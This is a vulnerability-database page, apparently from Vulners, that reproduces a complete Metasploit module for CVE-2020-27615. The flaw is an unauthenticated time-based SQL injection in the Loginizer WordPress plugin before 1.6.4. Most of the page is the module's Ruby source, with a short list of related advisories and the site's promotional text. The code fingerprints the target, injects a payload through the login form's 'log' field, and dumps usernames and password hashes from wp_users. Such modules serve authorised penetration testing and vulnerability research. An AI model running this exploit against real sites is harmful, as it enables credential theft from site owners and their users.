Lucene search
K

WordPress Loginizer log SQLi Scanner

🗓️ 05 Nov 2020 17:41:19Reported by h00die, red0xff, mslavcoType 
metasploit
 metasploit
🔗 www.rapid7.com👁 114 Views

WordPress Loginizer log SQLi Scanner, unauthenticated SQL injection, forced plugin update

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2020-27615
22 Oct 202000:51
circl
CNVD
WordPress Loginizer SQL Injection Vulnerability (CNVD-2020-58768)
23 Oct 202000:00
cnvd
Check Point Advisories
WordPress Loginizer Plugin SQL injection (CVE-2020-27615)
26 Oct 202000:00
checkpoint_advisories
CVE
CVE-2020-27615
21 Oct 202020:07
cve
Cvelist
CVE-2020-27615
21 Oct 202020:07
cvelist
Nuclei
WordPress Loginizer < 1.6.4 – Unauthenticated SQL Injection via `log` Parameter
8 Jun 202604:09
nuclei
NVD
CVE-2020-27615
21 Oct 202021:15
nvd
OpenVAS
WordPress Loginizer Plugin < 1.6.4 - Multiple Vulnerabilities
23 Oct 202000:00
openvas
Packet Storm
WordPress Loginizer Log SQL Injection Scanner
1 Sep 202400:00
packetstorm
Prion
Sql injection
21 Oct 202021:15
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::SQLi

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Loginizer log SQLi Scanner',
        'Description' => %q{
          Loginizer wordpress plugin contains an unauthenticated timebased SQL injection in
          versions before 1.6.4.  The vulnerable parameter is in the log parameter.
          Wordpress has forced updates of the plugin to all servers
        },
        'Author' => [
          'h00die', # msf module
          'red0xff', # sqli help
          'mslavco' # discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://wpdeeply.com/loginizer-before-1-6-4-sqli-injection/'],
          ['CVE', '2020-27615'],
          ['URL', 'https://loginizer.com/blog/loginizer-1-6-4-security-fix/'],
          ['URL', 'https://twitter.com/mslavco/status/1318877097184604161']
        ],
        'Actions' => [
          ['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DefaultAction' => 'List Users',
        'DisclosureDate' => '2020-10-21'
      )
    )
    register_options [
      OptInt.new('COUNT', [false, 'Number of users to enumerate', 1])
    ]
  end

  def run_host(ip)
    unless wordpress_and_online?
      vprint_error('Server not online or not detected as wordpress')
      return
    end

    wp_ver = wordpress_version
    if wp_ver.nil?
      vprint_error('Unable to determine wordpress version, check settings.')
      return
    end

    if Rex::Version.new(wp_ver) < Rex::Version.new('5.4')
      vprint_error("Wordpress (core) #{wp_ver} is unexploitable.  Version 5.4+ required.")
      return
    end

    checkcode = check_plugin_version_from_readme('loginizer', '1.6.4')
    if checkcode == Msf::Exploit::CheckCode::Safe
      vprint_error('Loginizer version not vulnerable')
      return
    else
      print_good('Vulnerable version of Loginizer detected')
    end

    cookie = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'wp-login.php')
    })
    if cookie.nil?
      print_error('Unable to retrieve wordpress cookie, check settings.')
      return
    end
    cookie = cookie.get_cookies
    password = Rex::Text.rand_text_alpha(10)

    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
      if payload.include?('<')
        payload.gsub!(/<>/, '=')
        payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { "0,#{Regexp.last_match(1)}" }
      end
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
        'cookie' => cookie,
        'vars_post' => {
          'log' => "',ip=LEFT(UUID(),8),url=#{payload}#",
          'pwd' => password,
          'wp-submit' => 'Login',
          'redirect_to' => '',
          'testcookie' => '1'
        }
      })
      fail_with Failure::Unreachable, 'Connection failed' unless res
    end
    unless @sqli.test_vulnerable
      print_bad("#{peer} - Testing of SQLi failed.  If this is time based, try increasing SqliDelay.")
      return
    end

    columns = ['user_login', 'user_pass']
    results = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])
    table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
    results.each do |user|
      create_credential({
        workspace_id: myworkspace_id,
        origin_type: :service,
        module_fullname: fullname,
        username: user[0],
        private_type: :nonreplayable_hash,
        jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
        private_data: user[1],
        service_name: 'Wordpress',
        address: ip,
        port: datastore['RPORT'],
        protocol: 'tcp',
        status: Metasploit::Model::Login::Status::UNTRIED
      })
      table << user
    end
    print_good(table.to_s)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation